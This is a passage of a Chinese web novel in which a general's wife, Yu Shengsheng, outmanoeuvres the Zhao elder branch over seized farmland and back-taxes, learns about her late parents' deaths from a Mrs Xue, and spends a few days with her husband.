“我是你娘,说谁糊涂呢?”赵大伯母炸了,“我这样劳心劳力地筹谋划策,为的还不是你和你哥哥?为了你们往后能过得更好些,能让你多些嫁妆傍身,你倒好,为了个外人还开始说起你母亲来了。” “简直荒唐!” 她瞪着女儿,越发粗暴直接,“你们还愣着干什么,还不将姑娘请回去?往后不许出门了,老老实实待在屋子里,别去见什么不三不四的人。” 赵阅儿根本说不通。 亏她还以为自己还能动之以情,晓之以理。 没想到在母亲跟前,两回都没走过,人就叫母亲身边的婆子送回了闺阁。 又急又恼,偏又无可奈何。 她不明白,怎么自己想通了,母亲却又犯轴了? 思来想去觉得不成,她忙又让丫鬟去前头书房给父亲送口信。 可惜,那来执行赵大伯母命令的婆子是个眼里揉不得沙子的,别说凝枣了,就连赵阅儿本人来了都不好使。 婆子毕恭毕敬地守在半月拱门之外,福了福道:“姑娘就别折腾了,太太的意思是让姑娘您好生歇着,外头的事情不归姑娘管。” “姑娘也听老奴一声劝,能在娘家做姑娘时多快活,上有老爷太太照拂,下有兄嫂护着,何必管这么多呢?” 赵阅儿没法子了。 气恼地坐在梳妆台前,那锃亮的铜镜照出她满是愁容的脸。 她咬着唇:“这可怎么好……” 对此,赵大伯母可没有多余的心思,她满心想的都是怎么样让虞声笙收下那些地契。 只要将人也拖下水,那他们就是一条船上的人了。 没等赵大伯母想出个稳妥的法子来,翌日正午,官衙却来人了。 赵大老爷夫妇二人都被传唤到堂。 一到乾州州府的正堂内,他们便瞧见虞声笙立在一侧。 她一身烟柳娇杏的明丽,自袖口到领口处却是宝蓝纹月白底的纹样,以银线绣成,细细一瞧,竟构成了喜上梅梢的图案,当真吉利又典雅。 侧目望来,秋水若瞳,盈盈一汪,竟能瞬间看进人的心坎里似的。 她柔柔一笑,客气又疏离。 明明还没有说什么过分冷漠的话,已让赵大老爷夫妇俩觉得自己与对方有着不可跨越的天堑。 双方到场,州府老爷可以说正事了。 因两边都是有头有脸的人物,有些话便说得较为委婉。 还是为了贪墨地契、偷缴粮税一事。 赵大老爷听得面皮颤抖,耳根发烫,等州府老爷话音刚落,他忙不迭拱手道:“青天明鉴啊,这些田产都是我家私有的,不存在贪墨,更不存在隐瞒啊!您忘了,我家二弟可是乐安公!这些田产本就是赵家所有。” 他又瞥了一眼虞声笙,“将军夫人刚到乾州,人生地不熟的,难免被人愚弄,一片赤心是好的,但也不能对着自家人下手呀。” “可不是么……”赵大伯母忙道,“声笙啊,说起来你也喊我一声大伯母,咱们也算是亲戚了,你对咱们府里有什么不满的,你尽可说出来,难不成我一长辈还会跟你这个晚辈计较么?” 虞声笙不慌不忙:“敢问州府大人,赵家一脉扎根乾州多久了?” 这位州府大人在此地连任了一回,细算起来,待在乾州也有七八年了,因政绩不俗,人也公证,为当地民生谋了不少福祉,是以上峰考核的成绩评了个优。 只要满了这一任,他的官职便能再往上提一提。 这可是平步青云的大好事。 越到最后关头,越是谨慎小心。 这也是为什么他会将两边叫来后,又不摆架子的原因——两边都不能轻易得罪,他可不想满任后还给自己树敌。 冷不丁听虞声笙这么一问,他顺口答道:“赵家一脉原就是乾州人士,扎根于此延绵了百年之久了。” 虞声笙又问:“那这么多年了,赵府就没分过家么?” “自然是分过的。” 延绵百年的大家族,怎么可能没有分过家。 否则这么多叔伯兄弟岂不是要打起来了? 她轻轻颔首:“赵家原先可没有出过什么乐安公吧?据我所知,我这位姑父当年是立下护驾之功,还差点命悬一线,才被皇帝封为乐安公,可是如此?” “正是,夫人所言确实。” “依照我朝律法,得封爵位后,自然另开一府,也就视为与原先的府邸分家;若主家愿意,自然是可以兄弟们团在一处,各姑嫂妯娌热热闹闹地过日子;可……也别忘了,既然是乐安府,那最后说了算的,是乐安公与黎阳夫人,而不是你们大房这一脉。” 她语气平和,不带任何情绪。 却字字句句说得那对夫妻面如黄纸,都不知该如何应对了。 “这些田产原就是乐安府的,与赵府毫无关系。” 一锤定音,虞声笙轻笑着,已经不给对方半点回还的余地。 赵大老爷:“好个厉害的晚辈,我当是为了何事,原来还是为了这些田地的归属而来,既然你今日非要与我们说道,那不妨在青天老爷跟前说个说白。” 虞声笙回眸看去。 赵大老爷拱手又道,“这些田产原是我二弟乐安公所有没错,但在他弥留之际已经将这些田产尽数给我们兄弟;之所以一直隐瞒不公开,是因为我那二弟妹迟迟不归,我又不想没个见证人,免得到时候几房兄弟相争为难,又伤了手足情分。” “正是如此。” 赵大伯母抹着泪,“本涉及到家中隐秘,实在不该拿到外头来说的……我那二弟妹!嗐,不说也罢!如今二弟人都不在了,我那可怜命苦的侄儿也归了黄泉!” 她哽咽不断,“将军夫人,你何必为难咱们小门小户的……” 有道是家丑不可外扬。 这夫妻二人一唱一和,反倒显得虞声笙落了下风。 州府老爷又让夫妻俩拿了证据出来。 那赵大老爷还真给了一纸契书,说是上头有乐安公的按得手印,准错不了。 有了这证据,赵大老爷又无比诚恳道:“没有及时在官府处过了明面,是我们的不是,一应所欠的税粮我都记着呢,还请青天老爷作证,待这边事务料理妥当,我必补上,分文不欠!” “只是分文不欠么?”虞声笙反问。 她明明没说别的,却惹得赵大老爷一阵恼火。 他怒了:“不然就双倍补上,我说到做到!” “好!” 州府老爷惊堂木一拍,这事儿就这么定了。 宽限赵府一个月料理田产一事,待下个月同时日,再说补缴税粮。 数额么,就是赵大老爷自己刚刚说的——双倍。 事情告一段落,虞声笙也没有受到半点苛责,州府老爷还赞美她心系于民,明察秋毫。 听得赵大伯母直翻白眼。 待两方离去,赵府两口子坐在马车里时,赵大伯母才觉着有些不对:“那小娘子闹了一场,居然就这样不咸不淡地算了?” “不然你想她如何?她估计想破脑袋都没想到,咱们手里还有这一纸契书!” “还是你机敏。不过……双倍补上,会不会太多了?” “怕什么,那些田产多的是出息进项,只要能收入囊中,还怕这点子花销?” 第155章故人,故事 赵大老爷算得门清。 这些年二弟手中田产出息的丰厚程度,足以令人瞠目结舌,他们早就眼红心热。 哪怕出双倍补偿,不出两年便能全都填平。 到时候明面也过了,田产到手,他们这一房数银子都能数到手软。 也不必怕其他几房弟弟过来纠缠不清。 简直一箭三雕! 想到这儿,他忍不住乐得颠颠,拉着妻子耳语:“你听着觉着双倍很多,其实不然,咱们出了这银钱,看他们日后还有脸说话,到时候还不是全听咱们的?” 赵大伯母一听,是这个理,忙也跟着丈夫一道,笑得眼睛眯成一条线。 “还得是你!”她娇嗔地推了他一把。 只可惜,她如今早已徐娘半老,不足当年三分颜色。 这撒起娇来,非但没让赵大老爷心生怜惜,反倒是心头一紧。 他情不自禁地想起了府里那几位鲜嫩娇媚的姨娘来。 哎……娶妻娶贤,纳妾纳色。 他这婆娘未必有多贤惠,但府里的妾室确实有几分颜色。 这么想着,身体忍不住一阵火热。 偏赵大伯母半点没察觉到丈夫的分神,甚至还挽着他的胳膊,与他一起回忆当年情浓时分说过的甜言蜜语。 回府后的当晚,赵大老爷就去了姨娘的房中。 赵大伯母的脸瞬间黑了一半。 骂骂咧咧到半宿,顿觉无趣,她又坐在榻上数了数手头的私房钱,还有那被压在箱底、叠得整整齐齐的地契。 还是银子香呀。 男人哪里比得上银子! 夜深了。 入了秋冬,虫鸣都安静了下来。 街道被昏暗的夜色铺满,微凉的空中透着些许霜意。 安静的小巷内传来吱吱呀呀的马车声响。 车轱辘滚过干冽的石砖,在前头打了个弯,往一处客栈驶去。 这便是虞声笙一行人住着的地方。 马车并未停在门口,而是绕去了后街。 金猫儿穿着暖和的薄袄,提着灯笼等在路边,远远瞧着马车过来了,便举起灯笼往前两步。 马车停稳。 先从上头下来了两个白净伶俐的丫鬟,紧接着她们扶着一位太太从车内下来。 但见这位太太着枣红披袄,领口的眉子点缀着织金纹样,沿着领口往下却是一色精致的泥金瓜鼠纹,一水儿的金粉耀目;裙摆往下,直到膝盖,稳稳挡住了底下那一层玄色的裙摆,这一身低调典雅,穿得很是富贵大气。 “请问,可是薛府太太?”金猫儿上前,礼貌问候。 那太太手中端着一暖炉,笑得格外和气:“正是。” “我家夫人恭候多时,太太这边请。” 金猫儿一路领着,将人带去了客栈三楼某处空置的厢房内。 一迈入,顿觉暖意融融。 定睛一看,竟是起了两个暖笼。 一旁朝南的窗棱支开一小半,又用轻纱遮掩,既透气又没有寒风吹入,当真极巧的心思。 薛太太本就怕冷,漏夜出门顾虑不少。 如今瞧见这些布置,心中一块石头也落地了。 虞声笙笑着相迎,双方见礼后,便让座。 虞声笙道:“早就听闻薛太太气度不凡,今日一见方知传闻不假,这般通身的气派体面,别说是乾州一方有头有脸的人物,便是在京城中也不得多见,倒让我开了眼了。” 薛太太被捧得有些飘飘然。 只觉得眼前这夫人瞧着年轻面善,却生了一张巧嘴。 说起话来暖如春风,直往人的心口里钻。 不消一刻,就心头熨帖发软,再听她说话,便觉得阳春白雪都逊色三分。 “哪里话,将军夫人谬赞了。” 薛太太温温道,“不知夫人相邀,所为何事?” “我虽年轻,但到今日也算吃了不少苦,自幼失了双亲,多亏养父养母照拂,才有了今日;我细细查来,才发现薛老爷与我生父竟是旧友,太太您……与我生母也算得半个手帕交,那一日我与薛老爷说了,他却像是如临大敌,反倒叫我心中不安。” 虞声笙开门见山,“干脆便写了书信相邀,想来太太您也是明白人,若非如此,也不会这么晚过来见我一趟了;多谢太太奔波,声笙在这儿先行谢过。” 薛太太眼眸微动。 对方这话确实说到了点子上。 关于来不来见这一面,其实薛家夫妇有过争议。 薛老爷是打定主意装聋作哑,绝不来见。 可薛太太却觉着有些事情宜疏不宜堵,人家已经找上门了,若一味躲避,反倒显得心虚,况且时隔多年,虞声笙作为洪修留在世上的独女都已长大成人,成家立业,还有什么不能说的。 这也是她今晚来的初衷。 摸了摸暖炉上的锦缎,薛太太轻笑:“难为你这孩子了,我还道你一辈子都不知晓自己的身世……我与你母亲确实交情不错,曾也引为知己;后来她跟随你父亲去了京城,而我留在了乾州,这一别,便是天人永隔,再无相见之日。” “你如今日子过得不错,若他们夫妇在天有灵瞧见了,定然也会欣慰;至于当年的事情,都过去了……闹得那样沸沸扬扬,又何必再拿出来说呢。” 虞声笙淡笑:“倒也不是拿出来说,我只是想了解一二。” 薛太太沉默片刻,抬手细细摩挲着茶盏的边沿:“其实也没什么,就是你父亲当时备受皇恩,又才学出众,他力排众议支持陛下革新,最后也被陛下重用,派去最需要的州县当差;只可惜,他尚未能一展抱负,人就染上了急病。” “有道是病来如山倒,病去若抽丝;外任的路上艰苦长远,又缺医少药的,自然就……哎!” 她说着,又拿起帕子擦了擦眼角,“事情出了之后,有人也说洪大人夫妇死得蹊跷,怕不是急病这么简单;可说归说,谁又能拿出证据来?半路上过世,便由邻近州县的官衙出手料理了后事,棺椁千里迢迢送回老家安葬。” 听到这儿,虞声笙已经明白了薛太太的言下之意。 回乡一趟实属不易。 何况人早就过世,运送棺椁抵达故土,想也知道那尸身定然腐烂,根本查不出什么来。 虞声笙长叹一声:“造化弄人。” “可不是造化弄人么。”薛太太抬眼,“我家老爷之所以一开始对夫人的问题避之不及,是怕夫人又以为当年的事情有什么蹊跷,非要抓着不放;他为人谨小慎微,稍微有点风吹草动便不成了的,还望夫人不要往心里去,其实……对你亲生父母离世一事,他不比旁人好受,也着实伤心了好一阵子。” “多谢太太,也请太太替我向薛老爷道个不是,是我莽撞了。” “哪里话,你这也是人之常情。” 薛太太想了想,“对了,今日我来之前想到了曾经你母亲寄给我的一样物件,这就物归原主,给你拿着总好过放在我这里。” 说罢,她给了身边丫鬟一个眼神。 很快丫鬟捧着一只小巧的木匣子送到虞声笙手边。 打开一瞧,里头竟是一支金镶玉的玫瑰钗。 那流光溢彩,绚烂夺目,当真漂亮得令人倒抽一口凉气。 “这是……” 第156章好戏 “当年我与你母亲说好了,谁出嫁便送一样最最心爱的首饰给对方添妆,我与她本就是闺阁之时的手帕交,那时候日子哪有如今这般宽裕,所谓最心爱的首饰也不过一样素钗或是一对银镯子,这便够厚了……” “可谁能想到后来呢。”她幽幽叹了一声,“这是你母亲后来赠与我的,我一直想着挑一样配得上首饰环佩之类的回赠,可总也没能寻到妥当的,后来他们两口子出事,这竟就成了遗憾。” “万幸老天开眼,叫我还能遇到她的后人,将这一样她原先的赠礼归还给你,也算是了却了我的一桩心事。” 虞声笙一阵动容,再看那玫瑰金钗,越发眉眼柔软。 “多谢太太。” 她起身福了福,行了个大礼。 送走了薛太太,虞声笙拿着玫瑰金钗在灯下细细瞧了好一会儿,才将其放入匣中,又亲手安放妥当。 沉沉睡下,到了后半夜,她突觉身后多了一个人。 翻身伸手一摸,小手却被另一只大手准确无误地捉住。 紧接着,对方探入她的掌心,与她十指相扣。 “是我。”闻昊渊呼吸浓烈地贴了上来,就在她的青丝耳后。 虞声笙听到了熟悉的声音,原本略微警醒的,又很快昏昏沉沉,让睡意肆意席卷全身。 才一息的功夫,她又睡沉了。 闻昊渊还以为她会醒来与自己说两句,毕竟分开了这些时日,他确实想她想得紧。 陪着太子忙完了事务,他便日夜兼程赶来。 只为了能快些赶到她的身边。 没想到她确定了是自己后,越发酣睡,像个——小猪。 闻昊渊都被自己这个念头给逗笑了,轻轻一哂,抬手给妻子掖了掖被角,从背后拥住,索性也跟她一道陷入梦乡。 翌日,虞声笙是被热醒的。 没法子,这男人大约是虎狼一样的性子,怀里如一个火盆。 睡得是很暖和,但……时间长了,还是热得人受不了。 她翻身下床,叫来了金猫儿今瑶等人。 这二人早就备好了充足的热水,进门伺候虞声笙洗漱更衣、梳头用茶,桩桩件件有条不紊,分毫不乱。 屏风另一侧隔着床榻,半空中多了几分素日里没有的气息。 两人连眼睛都没斜一下,伺候完毕,便让小丫鬟送了早饭进来。 做完这些,便关上门退下。 虞声笙不爱身边人多,尤其用饭时,只要摆好妥当,她更愿意独自享用。 用她自己的话来说就是——“吃饭谁不会,是个人都会,我这边自己吃便宜又干净,你们也赶紧去吃,别饿着肚子在我跟前晃悠。” 出了厢房,金猫儿今瑶便领着其他丫鬟去了后头的厨房。 那里粥饭糕饼、几色酸甜鲜辣的小菜,应有尽有。 一唤作碧桃的小胖丫鬟,今年也就十一岁,正是伶俐的时候。 她如今正跟在今巧身边打下手,学梳头看妆。 捧着粥碗,她呼哧呼哧就喝了一大口,随后问:“真是奇了,金猫儿姐姐是怎么知道咱们将军老爷来了的?还早早地让芸儿几个多备了热水呢。” “这还不明白?”今巧笑道,“那屏风上头挂了衣衫的,你什么时候见咱们夫人这样过?” “对哟。”碧桃恍然大悟。 “你呀,要学的东西还多着呢。” “多亏了诸位姐姐领着,不然我真是不知该怎么好了,赶明个儿我给姐姐们铺床烧水,姐姐们用的针线我也会做,只盼着姐姐们别嫌弃我针线粗陋才是。” “你这丫头,最是机灵。”今巧笑了,“就昨日夫人惯用的头油没了,这丫头不知从哪儿拿了一小壶出来,我细细一问,她才说是原先从咱们府里多带了两份。” 金猫儿抿嘴道:“这样机灵,可比得上今瑶了。” “要能有今瑶姐姐一半灵光能耐,我就谢天谢地了。”碧桃忙讨好。 丫鬟们边吃早饭边说笑。 屋内,足足酣睡了半宿的闻昊渊也起身了。 收拾妥当,他便大大咧咧坐在妻子对面,也不嫌弃是虞声笙吃剩下的,拿着她的粥碗大口喝了。 “欸,你这人……”她瞪圆了眼睛。 “我知道你吃不下了,替你帮忙。” “我只是暂时吃不下了,略歇一歇。” “别硬撑着了,这细粥是什么好东西,哪里要你空着肚子等着吃。”男人微微一笑,又拿起一张饼啃了起来,“说说吧,这乾州不太平,你想拿那赵府如何处置?” 原来他已经了如指掌。 也好,省了她一番口舌。 虞声笙莞尔:“他们以为自己占了便宜,还说什么要双倍补上,好呀,那就双倍,在州府老爷跟前说了话发了誓的,这么多眼睛耳朵看着听着,想来日后反悔都不易。” 她以袖掩口,“我倒想看看他们得知最后要补上的金额时,会不会吓得眼珠子掉出来。” “有趣,我也想看。” “你这会子得空了?” “那还没有,但一路奔波,太子也须好好休整一番,先前查到的事务也要传讯回京,这些都要太子殿下亲力亲为,旁人可帮不了什么;是以,为夫这几日还是有空闲的,可陪着你好好看一出戏。” “我这戏台子搭好了,你就赶着来看戏了,一分银子不出,好厚的脸皮。”她弯起眉眼,故意打趣。 “谁说我一分银子不出了?” 闻昊渊认真道,“我一路过来可看了好些庄子田地呢,你若瞧了喜欢,往后咱们全买下来。” “当真?” “我什么时候骗过你。” 他瞧着她满脸惊喜,如小狐狸一般,顿觉好笑,心中又冒出一句酸溜溜、却不敢说出口的话:“从来都是你哄我……也不知你这些话有几分真心。” 但看看虞声笙歪在自己身边那样亲昵乖巧,他又将这念头压了下去。 却说那一日在官衙开诚布公对峙一场后,赵大老爷似乎找到了生活的新方向。 几房弟弟又一次上门讨说法,他便将在州府老爷跟前说的话又原样照搬说了一遍。 当听说还要双倍补上先前的那些欠的粮税后,几个弟弟齐刷刷地不开口了,他们很明白,自己不是乐安公,没法子免税;要真刀真枪地拿出银钱来填窟窿,他们自然心疼,况且谁也不知道要补多少。 万一是个大窟窿,怕是等不到田庄进项出息,他们自己先要撑不住了。 赵大老爷又装作求助,说什么让兄弟几个一齐掏腰包,回头大伙儿再一块分了田产。 那几个弟弟犹豫着。 赵大伯母急了,埋怨丈夫把话说得太满。 万一他们几个弟弟决定掏腰包了,那他们岂不是白白送出去好些田产。 赵大老爷胸有成竹:“你懂什么,他们几个哪有这般果断,还得回去商议商议,等他们商议出来,咱们就说税钱已定,谁让他们慢了一步,可不能怨我有好不带他们分了。” “还是你棋高一着。”赵大伯母乐得满心开怀。 原以为是个难办的事儿,没想到迎刃而解。 一想到自己很快就能坐拥大笔田产,她便越发抖擞精神,投入到给女儿张罗婚事的忙碌中。 第157章乐极生悲 大约是觉得自家很快就要名正言顺地拥有一大片田产,家底比从前厚了许多,还住着二房留下来的乐安府,赵大伯母顿觉腰板很硬,眼睛快长到头顶上去了。 本来赵阅儿的美名在乾州也颇为响亮。 出身不俗,生得也美,还有得力的父兄撑腰,再看看她丰厚的嫁妆,乾州地界上但凡能够得上的人家都心动了。 有道是一家女,百家求。 到了赵阅儿这里,虽不说有百家那样夸张,但前前后后也有二三十户人家托媒来说亲了。 赵大伯母是看这个不满意,看那个不顺心。 就算有那些条件摆出来十全十美,足以相配的儿郎,她也会满是遗憾地啧啧道:“可惜了,一身布衣,连个贡生都不是,往后怎给我儿依靠?” 有些媒人听了这话,笑而不语,转身就走; 有些媒人是个急脾气,当面没说什么,回头就拉着人嚷嚷开了。 “赵家女是好,可也没有好成公主娘娘吧?给他们家说的都是门当户对的儿郎,可惜了,大奶奶一个都瞧不上,我瞧着咱们都散了吧,指不定人家闺女是要被送进皇宫做妃子的!” 这话传来,可把赵大伯母气了个仰倒。 她骂骂咧咧要去找人家算账。 赵阅儿听说后也哭红了眼睛,忙不迭地拉住母亲:“您还嫌不够丢人的么?” “丢人,丢什么人?看我不撕了她的嘴!” 赵大伯母在气头上,不管不顾。 女儿没法子让她消气,但丈夫却有这个能耐。 赵大老爷负手立在门外,冷眼瞧着她们母女又哭又骂,忍不住清了清嗓子:“这几日你上蹿下跳地折腾,叫咱们好好的闺女,名声都被你败坏了!” “我怎么败坏闺女名声了?”赵大伯母不服。 “一家女想许配几户人家?你挑女婿,人家也挑媳妇的!我瞧着先前来说媒的几户就不错,要家底有家底,要官身有官身,且都是正房所出的嫡子,哪里委屈了咱们阅儿?就你心高气傲的,一山望着一山高。” 赵大老爷重重叹了一声,“差不多得了,你要更好的,也要咱们阅儿能配得上呀,你总不能嫌人家贡生没官职功名,又嫌人家官身年纪偏大,这不是胡闹么。” 赵大伯母眼睛闪了闪,终于不吭声了。 被丈夫泼了一头凉水,总算消停下来。 外头一片平静,就连虞声笙都赶着闻昊渊空闲的几日,拉着他游山玩水,将乾州附近的景色都逛了个遍。 闻昊渊也算见识自家夫人的另一面。 她能光着脚丫踩在泥土上,还能卷着裤腿下河摸鱼,更能爬树打果子掏鸟蛋…… 那一天瞧见虞声笙熟练地用束带将袖口拢住,他还不明所以,下一息却见她三下五除二就爬上了树杈,吓得他心头一悬,忙走到她下方,抬手要去接她。 谁知虞声笙越爬越高,最终用衣兜捧了沉甸甸好些野果回来。 “你也太胆大了,要是摔下来可怎么好?!” 闻昊渊见她终于双脚落地,这才沉着脸训斥。 “哪儿那么容易摔呢,这些都是从前在乡野练出来的,小时候摔得多,渐渐大了熟练了,谁还会从树上摔下来?”她玩得不亦乐乎,“瞧,这些可好吃了,又酸又甜,等会儿咱们俩分。” 望着她那双亮晶晶的眼睛,满是生动活力。 那份如火焰如阳光一般的生命力,深深撼动着他的心。 瞬间,闻昊渊什么批评的话都说不出了。 他喜欢这样的虞声笙。 胆大蓬勃,向阳而生。 落落大方,毫不扭捏。 “好,你爬树摘的,理应你多吃点。”他笑道——大不了,他守着她,她要是摔下来了,还有他护着。 足足尽兴地玩了四五日,终于到了太子传召闻昊渊的这天了。 得知丈夫要继续忙,她一阵失落。 这几天实在是太开心了。 没有京城内宅的桎梏,她像是天地间放飞的小鸟,与自己的爱人相依相伴,这样的生活当真可遇不可求。 虞声笙微微蹙眉:“好吧,那你去吧,要小心点。” “你也是,我不在的时候不准爬树,我会让人盯着你的。”闻昊渊说完,又觉得自己的语气太过温柔,又故意板着脸,“你要是不答应,或是偷偷去爬,回头等我回来了就不给你带好吃的,什么银票田产地契首饰也没有你的份。” 虞声笙:…… 很好,这男人已经学会了如何拿捏她。 没法子,钱还是很重要的。 她眨眨眼,很认真地做了保证。 闻昊渊这才满意离去,离开时还在她脸颊上亲了一口:“等办完这一趟,咱们就能回家了。” 送别了丈夫,她沉浸在淡淡的忧愁中。 没一盏茶的功夫,又恢复了过来。 男人只顾着陪她嬉闹玩耍,那如何能撑得起偌大的一品军侯府? 她很强,她的男人就该更强。 刚收拾好情绪,今瑶过来了:“夫人,咱们安排在城郊的人传信回来了,说是这几日赵家那头都蹦跶得很,频频去庄子上盘点人头,对账收成什么的;今日忽儿安静了下来,请夫人示下,咱们继续按兵不动么?” “让他们先看着,不妨事,还有三日,最多三日。” 虞声笙抿唇一笑。 三日后,便是官衙收今年秋冬第一波粮税的日子。 有钱交钱,有粮交粮,按亩数田地来算,准错不了。 一时间,乾州城内城外一片忙碌。 此时,对此浑然不知的赵大老爷还在书房品茶。 他身边是最近正得宠的姨娘。 这姨娘生得小家碧玉,却很会讨男人的欢心,娇怯怯说上几句贴心的话,能让赵大老爷一直甜到心坎里。 正浓情蜜意的时候,突然书房的门被猛地推开。 原本正趴在赵大老爷怀里,引得他去吃自己唇上胭脂的姨娘吓得立马从他膝头滚下。 冷不丁瞧见这一幕,赵大伯母只觉得太阳穴突突狂跳。 猛地冲过来给了那姨娘一脚,她扯着丈夫的胳膊喊道:“快些过来,官府来人了!!” 赵大老爷本满腔不快,乍一听这话,赶紧理了理衣衫,与老妻边走边问:“怎么来人了,为了何事?怎么提前一点声响都没有……” 对话声越来越远,直到听不见。 趴在地上的姨娘这才缓缓起身。 一动腰间就疼,疼得她直抽气——方才赵大伯母那一脚可没留情,用了十足的力道。 姨娘恨恨地盯着门外:“哼!你自己没本事笼住男人,却拿我撒气,什么东西!” 这会子的功夫,夫妻二人已经到了府门口。 官府来人传信,见了赵大老爷那差役便道:“赵老爷,今年的征税开始了,您可别忘了日子,咱们老爷说了,贵府要交今年的一份,还有先前落下的、赵老爷您说了要双倍补上的,一共三份,可别弄错了。” 那差役把话传到,人就走了。 赵大老爷愣住:“什么?” 他茫然地看向妻子,“你听见他刚刚说什么了吗?” “说、说要交税了……”赵大伯母都快哭了,“不是要等足一年么,这才几日啊,就要、就要交钱交粮了?” 第158章有些苦,只能自己尝 这夫妻二人一直以为,上次在官府过了明面,又立下誓言字据,应当是来年再来清算这一切;从眼下到来年,足有一年多的时光筹备,乾州又气候温热,这里的作物最少一年两熟,等两季的收成到手,也没有什么青黄不接的时候,一切问题迎刃而解。 可万万没想到,人家这么快就要补缴了。 前前后后算起来,连一旬的空余都没有。 赵大伯母慌了神,忙不迭地催促丈夫将那一日写下的字据拿出来瞧瞧。 两口子匆匆忙忙赶到外书房,又从一堆暗格中翻出了那张纸。 等看清楚最下面写着的一列日期时,二人齐刷刷眼前一黑。 “这、这……不是来年啊。”赵大伯母都快哭了。 赵大老爷心乱如麻,根本说不出一个字。 耳边都是老妻绝望无助的哭声,一阵接一阵。 “够了,人还没死呢,哭个屁!”他骂骂咧咧道,“你要有今日这份灵光,也不会有这般糟糕了!” “你还怪我?”赵大伯母的战斗力被激发出来。 她也顾不上哭了,一跃而起,“要不是你整日都顾着跟那些个狐狸精打架,哪里还会老眼昏花看不清这些个?我一妇道人家,你让我抛头露面地替你冲在前头,那我嫁男人做什么?我还不如留在娘家招女婿!说来说去,还不是你没本事!” 夫妻二人吵得不可开交,还惊动了长子那一房。 赵阅儿也过来瞧了瞧。 大概听说了事情的来龙去脉,她小脸煞白,忙抢白道:“咱们还是将二叔家的田产还回去吧,那将军夫人要的就是这个,何必呢,又不是咱们的,咱们在这儿担惊受怕,还要多付什么税粮,出力不讨好呀。” 哪知这话刚说完,她就被嫂子不耐地劝回了房中。 她大嫂子道:“你一个未出阁的姑娘管这些个闲事作甚?还不赶紧回房进益你的针线去。” 赵阅儿再次被排除在外,撵出了书房。 孤零零回到屋中,她气闷委屈,却又不知向谁说起。 家里的天都要塌了。 偏偏爹娘兄嫂还想着那些田产。 凝枣劝道:“姑娘就别想了……” “如何不想,横竖我如今还未出嫁,亲事都没说上,依然是赵家的人;爹娘他们听不得我这话,嫂嫂如今也嫌我烦了,不过是他们觉着我迟早要嫁出去,是别人家的人了,这些个田产与我无关,他们觉着我是站着说话不腰疼。” 赵阅儿苦笑,“罢了,如今想明白也看明白,怎觉得这日子……还不如从前呢?” 从前一脑袋浆糊,只凭着性子横冲直撞,撒娇卖痴,倒也痛快肆意。 总好过如今,看得远看得明,却无人在意。 她闷闷地坐在榻上,又重重地叹了一口气。 时光不等人,这句话用在哪儿都合适。 尤其催赵家大房交税,尤其合适。 官府规定了最后缴纳粮税的日期,届时但凡有所亏空欠缴的,特别像赵家大房这样欠得特别多的,家中男丁搞不好还要去服徭役。 服徭役多苦啊,什么脏活累活都有,还不管饭食。 有很多身子不好的人,都死在了服徭役上。 赵家正慌得手忙脚乱,四处筹钱筹粮。 赵大老爷也没有了一开始的高姿态,说话也不兜圈子了,赶忙去寻了其他几房弟弟帮忙想法子。 人家上了一回当,吃了一回亏,怎么可能继续在同一个坑里栽跟头? 他碰了一鼻子灰。 几房弟弟一个都没出面,全是家中媳妇出来应对的。 那弟妹们或温柔或泼辣或明快或委婉,但说出来的话总结下来就一个意思——“想让我们帮你出钱填了这窟窿?成啊,将之前这田产的出息拿出来均分,再把田产归属重新划分,等这些事情说清楚了,我们再出钱也不晚。” 赵大老爷叫苦不迭。 这田产拿到手时,已经被黎阳夫人收走了先前收成的钱粮。 庄子上除了佃户们自留的口粮之外,是一点不剩。 哪里还有什么原先的出息进项? 任凭他说破了嘴皮子,唾沫都说干了,那些弟媳妇依旧不为所动。 还是那位最直言不讳的弟媳妇说话最难听。 她理顺了帕子,半带笑意,不阴不阳道:“你这做大哥的,也该想想明白,总不能有好处时你与大嫂就把门关上自个儿发财;发现不对劲了,才想起你还有几房兄弟,咱们一家老小的也有这么多张嘴要吃饭,哪里受得起大哥这样摆弄,这日子还过不过啦?不然这样好了,咱们拖家带口的,都住进乐安府去,叫大哥大嫂管吃管喝,管咱们一应开销。” 赵大老爷立马不吭声了。 开玩笑,当初拒绝他们几房住进乐安府,就已经费了姥姥劲了。 今日他怎敢开这个口子? 见他这般反应,弟媳妇翻了个漂亮的白眼,连客套话都不说一句,便让婆子送客。 赵大老爷何时被人这样奚落过,顿时一张脸难看至极。 饭要吃,钱要还,日子如流水,一样要匆匆过。 终于到了最后缴纳的日子,赵家大房这头还差了一大截。 这回州府老爷也没有一开始的好脸色好脾气了,径直派了差役登门,当着赵大老爷两口子的面,拿走了赵大爷。 儿子被抓了,不日就要服徭役,此等晴天霹雳可把这夫妇俩劈清醒了。 二人赶紧备了礼物,又一次匆匆赶去了客栈。 他们扑了个空。 虞声笙压根不在。 从正午等到了傍晚,等得心急如焚,总算将那一抹盈盈而动的身影给盼了回来。 见到虞声笙步伐款款而来,赵大伯母再也绷不住。 “夫人,好夫人,还请你帮帮忙,救救我儿子吧。” 话才开口,泪已潸然落下。 虞声笙今日也忙得够呛。 她在这里搜了好些乾州本地的菜种,还有树种,打算带回京城,就放在京郊自己的田庄上种种看;还有一些乾州特产的花苗树木,她也详细看了许多,问了许多老师傅,求教种养经验。 威武将军府大得很,但真正修整出来、可供赏玩闲逛的园子却只有一个。 府里还有的是被主人遗忘的角落。 作为当家主母,她自然想把自家府邸打点得漂亮干净。 如此忙活了好几日,每天都充实劳累。 回到客栈,用饭沐浴,径直倒下就睡。 哪晓得今日还有这么一出好戏,她强忍着打哈欠的冲动,将二人领到了另一处空置的厢房中。 很有眼力劲的老板已经派小二送上了热茶热点心。 虞声笙静静听完两口子的话,好笑道:“这些都是二位在州府老爷跟前作了允诺的,如今还不上,令公子被罚徭役,也符合我朝律法规定,人家州府老爷并没有判错。” 一听这话,赵大伯母惊呆了:“服徭役啊,我儿要被送去修码头、修官道,这一去没有个大半年可回不来,要是冬日里……能冻死人的!” 虞声笙流露出不解,片刻后又恍然大悟。 “所以,今日二位前来,是想问我借钱的?” 她摆摆手,“这可不成,这么大金额的借款没有我家将军发话,我可不敢擅作主张。” 第159章开不了口 她拒绝得太过果断,以至于赵家两口子一愣,还以为自己真的开口借钱了。 又瞧着她四平八稳坐在上首,似笑非笑的眉眼间隐隐有戏谑之意,他们哪还有不明白的。 人家将军夫人可是故意的呢。 